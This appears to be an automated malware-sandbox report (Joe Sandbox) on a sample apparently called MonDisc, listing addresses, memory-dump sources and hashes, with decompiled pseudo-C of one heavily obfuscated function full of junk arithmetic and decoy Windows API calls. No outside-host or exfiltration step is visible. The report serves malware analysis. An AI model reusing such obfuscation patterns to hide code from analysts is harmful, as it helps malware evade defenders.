0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

GetTopWindow.USER32 ref: 00007FF6ED0F8301

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 2c91cb14d26e3cbfeb0a6b6d52593c8416ea1c1e338f76a07c1c61ea44a7b0ab
Instruction ID: 6dfdc66b0d9f9e96103590f099723ffff0ced302764245ce946442e161f2ecb8
Opcode Fuzzy Hash: 2c91cb14d26e3cbfeb0a6b6d52593c8416ea1c1e338f76a07c1c61ea44a7b0ab
Instruction Fuzzy Hash: CA6279A7E289034AF604AF349D5A3F961956F25214F78063AD10AE72D7FF3EF149810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F832A Relevance: 53.3, APIs: 35, Instructions: 831
windowtimeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF6ED0F832A(char _a144, long long _a152) {
				void* _t108;
				signed int _t115;
				signed int _t120;
				signed int _t126;
				signed int _t131;
				signed int _t152;
				signed int _t158;
				signed int _t168;
				signed int _t185;
				signed int _t190;
				signed int _t202;
				signed int _t208;
				signed int _t225;
				signed int _t242;
				signed int _t247;
				signed int _t252;
				signed int _t276;
				signed int _t282;
				signed int _t287;
				signed int _t292;
				signed int _t297;
				signed int _t302;
				signed int _t307;
				signed int _t312;
				signed int _t348;
				signed int _t354;
				signed int _t378;
				signed int _t384;
				signed int _t401;
				signed int _t406;
				signed int _t411;
				signed int _t416;
				signed int _t421;
				signed int _t428;
				signed int _t433;
				signed int _t438;
				signed int _t445;
				signed int _t452;
				signed int _t457;
				signed int _t462;
				signed int _t467;
				signed int _t477;
				signed int _t482;
				signed int _t487;
				signed int _t492;
				signed int _t504;
				signed int _t514;
				signed int _t522;
				signed int _t529;
				signed int _t534;
				signed int _t537;
				signed int _t550;
				signed int _t555;
				signed int _t560;
				signed int _t573;
				signed int _t589;
				signed int _t594;
				signed int _t609;
				short _t615;
				signed int _t619;
				signed int _t624;
				signed int _t630;
				signed int _t635;
				signed int _t640;
				signed int _t645;
				signed int _t650;
				signed int _t656;
				signed int _t667;
				signed int _t673;
				signed int _t686;
				signed int _t691;
				signed int _t708;
				signed int _t737;
				signed int _t743;
				signed int _t748;
				signed int _t783;
				signed int _t789;
				signed int _t795;
				signed int _t801;
				signed int _t807;
				signed int _t814;
				signed int _t825;
				signed int _t837;
				signed int _t842;
				signed int _t847;
				signed int _t852;
				signed int _t883;
				signed int _t889;
				signed int _t896;
				signed int _t901;
				signed int _t909;
				signed int _t914;
				signed int _t951;
				signed int _t957;
				signed char _t970;
				signed char _t1056;
				void* _t1095;
				signed int _t1111;
				void* _t1119;
				void* _t1124;
				void* _t1125;
				void* _t1127;
				void* _t1128;
				void* _t1129;
				void* _t1130;
				void* _t1131;
				void* _t1132;
				void* _t1135;
				void* _t1136;
				void* _t1137;
				void* _t1139;
				void* _t1140;
				void* _t1141;
				void* _t1142;
				void* _t1143;
				void* _t1144;
				void* _t1145;
				void* _t1146;
				void* _t1148;
				void* _t1149;
				void* _t1150;
				void* _t1151;
				void* _t1152;
				void* _t1154;
				void* _t1155;
				void* _t1156;
				void* _t1160;
				void* _t1162;
				void* _t1163;
				void* _t1166;
				void* _t1168;
				void* _t1169;
				void* _t1170;
				void* _t1171;
				void* _t1173;
				void* _t1175;
				void* _t1176;
				void* _t1179;
				void* _t1180;
				void* _t1181;
				void* _t1182;
				void* _t1183;
				void* _t1185;
				void* _t1186;
				void* _t1187;
				void* _t1188;
				void* _t1189;
				void* _t1190;
				void* _t1192;
				void* _t1193;
				void* _t1196;
				void* _t1199;
				void* _t1200;
				void* _t1201;
				void* _t1203;
				void* _t1206;
				void* _t1208;
				void* _t1209;
				void* _t1210;
				void* _t1212;
				void* _t1216;
				void* _t1217;
				void* _t1218;
				void* _t1219;
				void* _t1220;
				void* _t1221;
				void* _t1222;
				void* _t1223;
				void* _t1224;
				void* _t1226;
				void* _t1227;
				void* _t1229;
				void* _t1234;
				void* _t1235;
				void* _t1237;
				void* _t1238;
				void* _t1239;
				void* _t1240;
				void* _t1242;
				void* _t1244;
				void* _t1245;
				void* _t1246;
				void* _t1248;
				void* _t1249;
				void* _t1251;
				void* _t1252;
				void* _t1253;
				void* _t1254;
				void* _t1256;
				void* _t1257;
				void* _t1259;
				void* _t1261;
				void* _t1262;
				void* _t1263;
				void* _t1264;
				void* _t1265;
				void* _t1266;
				long long _t1269;
				void* _t1270;
				void* _t1271;
				void* _t1276;
				void* _t1281;
				void* _t1282;
				void* _t1283;
				void* _t1285;
				void* _t1286;
				void* _t1287;
				void* _t1288;
				void* _t1289;
				void* _t1290;

				if ((_t108 - _t957 | 0xffffff80) + _t957 != _t1119) goto 0xed0f8342;
				AnyPopup();
				E00007FF67FF6ED184484(_t1269);
				goto 0xed0f837c;
				dil = 0x28;
				goto 0xed0f835a;
				_t1124 = dil - 0x2c;
				if (_t1124 >= 0) goto 0xed0f8372;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t115 = E00007FF67FF6ED184484(_t1269);
				if (_t1124 >= 0) goto 0xed0f836d;
				_t1125 = ((_t115 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x43;
				if (_t1125 != 0) goto 0xed0f8347;
				_t120 = E00007FF67FF6ED184484(_t1269);
				if (_t1125 >= 0) goto 0xed0f8387;
				sil = sil + _t957;
				 *0xed236f60 = 0 | ((_t120 & 0x8000007f) - _t957 | 0xffffff80) + _t957 == _t1119;
				 *0xed236f60 = sil & 0xffffffff;
				_t1127 = sil - 0x2a;
				if (_t1127 < 0) goto 0xed0f82ea;
				_t126 = E00007FF67FF6ED184484(_t1269);
				if (_t1127 >= 0) goto 0xed0f83bb;
				_t1128 = ((_t126 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x1f;
				if (_t1128 > 0) goto 0xed0f83de;
				_t131 = E00007FF67FF6ED184484(_t1269);
				if (_t1128 >= 0) goto 0xed0f83d0;
				_t1129 = ((_t131 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x1f;
				 *0xed236f60 = 0 | _t1129 <= 0x00000000;
				E00007FF67FF6ED184484(_t1269);
				if (_t1129 >= 0) goto 0xed0f83ee;
				asm("movsd xmm6, [0x111782]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1129 < 0) goto 0xed0f8433;
				IsIconic(??);
				E00007FF67FF6ED184484(_t1269);
				if (_t1129 >= 0) goto 0xed0f841c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1129 >= 0x00000000; // executed
				E00007FF67FF6ED106FB0(_t1129, _t1269, _t1271, _t1276); // executed
				_a152 = _t1269;
				E00007FF67FF6ED1075F0(0, _t1095, 0x8000007f, _t1270, _t1269, _t1281, _t1283, _t1285, _t1286);
				r9d = 0;
				r8d = r15d;
				E00007FF67FF6ED0F56BC(_t1129, _t1270, _t1269, _t1289, _t1269, _t1281, _t1282, _t1287, _t1288, _t1289, _t1290); // executed
				 *0xed236f60 = 0x35;
				_t1130 = 0x35 + _t957 - 0x37;
				if (_t1130 < 0) goto 0xed0f845e;
				_t152 = E00007FF67FF6ED184484(_t1269);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				if (_t1130 >= 0) goto 0xed0f848b;
				_t1131 = ((_t152 & r15d) - _t957 | r14d) + _t957 - 0xb;
				if (_t1131 == 0) goto 0xed0f84ae;
				GetMessageTime();
				_t158 = E00007FF67FF6ED184484(_t1269);
				if (_t1131 >= 0) goto 0xed0f84a7;
				_t1132 = ((_t158 & r15d) - _t957 | r14d) + _t957 - 0xb;
				goto 0xed0f84d5;
				E00007FF67FF6ED184484(_t1269);
				if (_t1132 >= 0) goto 0xed0f84bf;
				_t168 = E00007FF67FF6ED184484(_t1269);
				if (_t1132 >= 0) goto 0xed0f84d0;
				 *0xed236f60 = 0 | ((_t168 & r15d) - _t957 | r14d) + _t957 != 0x0000000f;
				GetLastActivePopup(??);
				GetDesktopWindow();
				GetTopWindow(??);
				GetCurrentProcess();
				_t970 = sil;
				 *0xed236f60 = _t970 & 0x000000ff;
				if (_t970 + _t957 - 0x30 < 0) goto 0xed0f8502;
				_a144 = 0x4e;
				 *0xed236f60 = 0x4a;
				_t1135 = 0x4a + _t957 - 0x4e;
				if (_t1135 < 0) goto 0xed0f851d;
				AnyPopup();
				E00007FF67FF6ED184484(_t1269);
				if (_t1135 >= 0) goto 0xed0f8543;
				asm("movsd xmm6, [0x11158d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1135 <= 0) goto 0xed0f85be;
				_t185 = E00007FF67FF6ED184484(_t1269);
				if (_t1135 >= 0) goto 0xed0f856a;
				_t1136 = ((_t185 & r15d) - _t957 | r14d) + _t957 - 0x44;
				if (_t1136 == 0) goto 0xed0f858e;
				_t190 = E00007FF67FF6ED184484(_t1269);
				if (_t1136 >= 0) goto 0xed0f8580;
				_t1137 = ((_t190 & r15d) - _t957 | r14d) + _t957 - 0x44;
				 *0xed236f60 = 0 | _t1137 != 0x00000000;
				 *0xed236f60 = _t957;
				E00007FF67FF6ED184484(_t1269);
				if (_t1137 >= 0) goto 0xed0f85a5;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1137 > 0x00000000;
				goto 0xed0f860f;
				_t202 = E00007FF67FF6ED184484(_t1269);
				if (_t1137 >= 0) goto 0xed0f85cf;
				if (((_t202 & r15d) - _t957 | r14d) + _t957 != 0x61) goto 0xed0f85f0;
				dil = 0x14;
				E00007FF67FF6ED1EE3D8();
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t1139 = dil - 0x1d;
				if (_t1139 < 0) goto 0xed0f85d7;
				_t208 = E00007FF67FF6ED184484(_t1269);
				if (_t1139 >= 0) goto 0xed0f8601;
				_t1140 = ((_t208 & r15d) - _t957 | r14d) + _t957 - 0x61;
				 *0xed236f60 = 0 | _t1140 != 0x00000000;
				E00007FF67FF6ED184484(_t1269);
				if (_t1140 >= 0) goto 0xed0f8620;
				asm("movsd xmm6, [0x111510]");
				r15d = 4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1140 < 0) goto 0xed0f8674;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t1269);
				if (_t1140 >= 0) goto 0xed0f8658;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1140 >= 0x00000000;
				goto 0xed0f8709;
				_t225 = E00007FF67FF6ED184484(_t1269);
				if (_t1140 >= 0) goto 0xed0f8687;
				_t1141 = ((_t225 & 0x8000007f) - _t957 | r14d) + _t957 - 0x2f;
				if (_t1141 != 0) goto 0xed0f8698;
				E00007FF67FF6ED184484(_t1269);
				goto 0xed0f86f0;
				dil = bpl;
				E00007FF67FF6ED184484(_t1269);
				if (_t1141 >= 0) goto 0xed0f86b0;
				asm("movsd xmm6, [0x111348]");
				goto 0xed0f86dd;
				_t1142 = dil - 0x6b;
				if (_t1142 >= 0) goto 0xed0f86eb;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1269);
				if (_t1142 >= 0) goto 0xed0f86dd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1142 >= 0) goto 0xed0f86ba;
				_t242 = E00007FF67FF6ED184484(_t1269);
				if (_t1142 >= 0) goto 0xed0f86fb;
				_t1143 = ((_t242 & 0x8000007f) - _t957 | r14d) + _t957 - 0x2f;
				 *0xed236f60 = 0 | _t1143 == 0x00000000;
				_t247 = E00007FF67FF6ED184484(_t1269);
				if (_t1143 >= 0) goto 0xed0f8719;
				_t1144 = ((_t247 & 0x8000007f) - _t957 | r14d) + _t957 - 0x55;
				if (_t1144 <= 0) goto 0xed0f8742;
				E00007FF67FF6ED1EE020();
				_t252 = E00007FF67FF6ED184484(_t1269);
				if (_t1144 >= 0) goto 0xed0f8734;
				_t1145 = ((_t252 & 0x8000007f) - _t957 | r14d) + _t957 - 0x55;
				 *0xed236f60 = 0 | _t1145 > 0x00000000;
				GetMessageTime();
				GetCurrentProcessId();
				GetTopWindow(??);
				dil = r15b;
				E00007FF67FF6ED184484(_t1269);
				if (_t1145 >= 0) goto 0xed0f8769;
				asm("movsd xmm6, [0x11135f]");
				goto 0xed0f8796;
				_t1146 = dil - 0xf;
				if (_t1146 >= 0) goto 0xed0f87a6;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1269);
				if (_t1146 >= 0) goto 0xed0f8796;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1146 != 0) goto 0xed0f87a6;
				if (_t1146 == 0) goto 0xed0f8773;
				E00007FF67FF6ED184484(_t1269);
				if (_t1146 >= 0) goto 0xed0f87b6;
				asm("movsd xmm6, [0x1111fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1146 != 0) goto 0xed0f88ca;
				if (_t1146 != 0) goto 0xed0f88ca;
				_t276 = E00007FF67FF6ED184484(_t1269);
				if (_t1146 >= 0) goto 0xed0f87eb;
				if (((_t276 & 0x8000007f) - _t957 | r14d) + _t957 == 0x16) goto 0xed0f8825;
				 *0xed236f60 = 0xe;
				_t1148 = 0xe + _t957 - sil;
				if (_t1148 < 0) goto 0xed0f87f2;
				_t282 = E00007FF67FF6ED184484(_t1269);
				if (_t1148 >= 0) goto 0xed0f8812;
				_t1149 = ((_t282 & 0x8000007f) - _t957 | r14d) + _t957 - 0x16;
				 *0xed236f60 = 0 | _t1149 != 0x00000000;
				goto 0xed0f88f6;
				_t287 = E00007FF67FF6ED184484(_t1269);
				if (_t1149 >= 0) goto 0xed0f8835;
				_t1150 = ((_t287 & 0x8000007f) - _t957 | r14d) + _t957 - 0x29;
				if (_t1150 == 0) goto 0xed0f8888;
				_t292 = E00007FF67FF6ED184484(_t1269);
				if (_t1150 >= 0) goto 0xed0f884a;
				_t1151 = ((_t292 & 0x8000007f) - _t957 | r14d) + _t957 - 0x5a;
				if (_t1151 == 0) goto 0xed0f8854;
				E00007FF67FF6ED1EE3D8();
				_t297 = E00007FF67FF6ED184484(_t1269);
				if (_t1151 >= 0) goto 0xed0f8864;
				_t1152 = ((_t297 & 0x8000007f) - _t957 | r14d) + _t957 - 0x5a;
				 *0xed236f60 = 0 | _t1152 != 0x00000000;
				_t302 = E00007FF67FF6ED184484(_t1269);
				if (_t1152 >= 0) goto 0xed0f8881;
				goto 0xed0f88bc;
				_t307 = E00007FF67FF6ED184484(_t1269);
				if (((_t302 & 0x8000007f) - _t957 | r14d) + _t957 - 0x29 >= 0) goto 0xed0f8898;
				_t1154 = ((_t307 & 0x8000007f) - _t957 | r14d) + _t957 - 0x17;
				if (_t1154 == 0) goto 0xed0f8802;
				E00007FF67FF6ED1EE3E0();
				_t312 = E00007FF67FF6ED184484(_t1269);
				if (_t1154 >= 0) goto 0xed0f88b7;
				_t1155 = ((_t312 & 0x8000007f) - _t957 | r14d) + _t957 - 0x17;
				 *0xed236f60 = 0 | _t1155 != 0x00000000;
				goto 0xed0f8802;
				E00007FF67FF6ED184484(_t1269);
				if (_t1155 >= 0) goto 0xed0f88da;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1155 != 0) goto 0xed0f88ee;
				if (_t1155 != 0) goto 0xed0f88ee;
				goto 0xed0f88f0;
				 *0xed236f60 = _t957;
				dil = 0x4b;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1269);
				if (_t1155 >= 0) goto 0xed0f8916;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1111da]");
				if (_t1155 < 0) goto 0xed0f892e;
				_t1156 = dil - 0x4f;
				if (_t1156 < 0) goto 0xed0f88f9;
				asm("movsd xmm6, [0x111222]");
				dil = 0x30;
				E00007FF67FF6ED184484(_t1269);
				if (_t1156 >= 0) goto 0xed0f8949;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1269);
				if (_t1156 >= 0) goto 0xed0f8961;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1156 >= 0x00000000;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x41 < 0) goto 0xed0f8939;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x19;
				if (0x19 + _t957 - 0x20 < 0) goto 0xed0f8995;
				 *0xed236f60 = 0x39;
				if (0x39 + _t957 - 0x42 < 0) goto 0xed0f89a7;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x63;
				_t1160 = 0x63 + _t957 - 0x74;
				if (_t1160 < 0) goto 0xed0f89bf;
				 *0xed236f60 = 0;
				_t348 = E00007FF67FF6ED184484(_t1269);
				if (_t1160 >= 0) goto 0xed0f89e9;
				if (((_t348 & 0x8000007f) - _t957 | r14d) + _t957 - 0x1b > 0) goto 0xed0f8a1e;
				 *0xed236f60 = 0x16;
				_t1162 = 0x16 + _t957 - 0x19;
				if (_t1162 < 0) goto 0xed0f89f0;
				_t354 = E00007FF67FF6ED184484(_t1269);
				if (_t1162 >= 0) goto 0xed0f8a10;
				_t1163 = ((_t354 & 0x8000007f) - _t957 | r14d) + _t957 - 0x1b;
				 *0xed236f60 = 0 | _t1163 <= 0x00000000;
				GetTopWindow(??);
				GetCurrentProcessId();
				E00007FF67FF6ED184484(_t1269);
				if (_t1163 >= 0) goto 0xed0f8a3c;
				asm("movsd xmm6, [0x11116c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1163 < 0) goto 0xed0f8a79;
				E00007FF67FF6ED184484(_t1269);
				if (_t1163 >= 0) goto 0xed0f8a62;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1163 >= 0x00000000;
				bpl = 0x2d;
				 *0xed236f60 = 0x1f;
				if (0x1f + _t957 - bpl < 0) goto 0xed0f8a7e;
				r14b = 0x31;
				dil = r14b;
				GetTickCount();
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x39 < 0) goto 0xed0f8a94;
				GetCurrentProcess();
				sil = 7;
				dil = 0x36;
				goto 0xed0f8ace;
				_t1166 = dil - 0x4a;
				if (_t1166 >= 0) goto 0xed0f8ae6;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t378 = E00007FF67FF6ED184484(_t1269);
				if (_t1166 >= 0) goto 0xed0f8ae1;
				if (((_t378 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x60 >= 0) goto 0xed0f8abb;
				sil = sil + _t957;
				 *0xed236f60 = sil & 0xffffffff;
				_t1168 = sil - 0x12;
				if (_t1168 < 0) goto 0xed0f8ab6;
				 *0xed236f60 = 0x5d;
				_t384 = E00007FF67FF6ED184484(_t1269);
				if (_t1168 >= 0) goto 0xed0f8b19;
				_t1169 = ((_t384 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x6d;
				if (_t1169 == 0) goto 0xed0f8b89;
				E00007FF67FF6ED184484(_t1269);
				if (_t1169 >= 0) goto 0xed0f8b2e;
				asm("movsd xmm6, [0x111062]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1169 < 0) goto 0xed0f8b6b;
				E00007FF67FF6ED184484(_t1269);
				if (_t1169 >= 0) goto 0xed0f8b54;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1169 >= 0x00000000;
				_t401 = E00007FF67FF6ED184484(_t1269);
				if (_t1169 >= 0) goto 0xed0f8b7b;
				_t1170 = ((_t401 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x6d;
				 *0xed236f60 = 0 | _t1170 != 0x00000000;
				dil = 0x26;
				_t406 = E00007FF67FF6ED184484(_t1269);
				if (_t1170 >= 0) goto 0xed0f8b9f;
				_t1171 = ((_t406 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0xf;
				if (_t1171 >= 0) goto 0xed0f8bbe;
				_t411 = E00007FF67FF6ED184484(_t1269);
				if (_t1171 >= 0) goto 0xed0f8bb7;
				goto 0xed0f8bee;
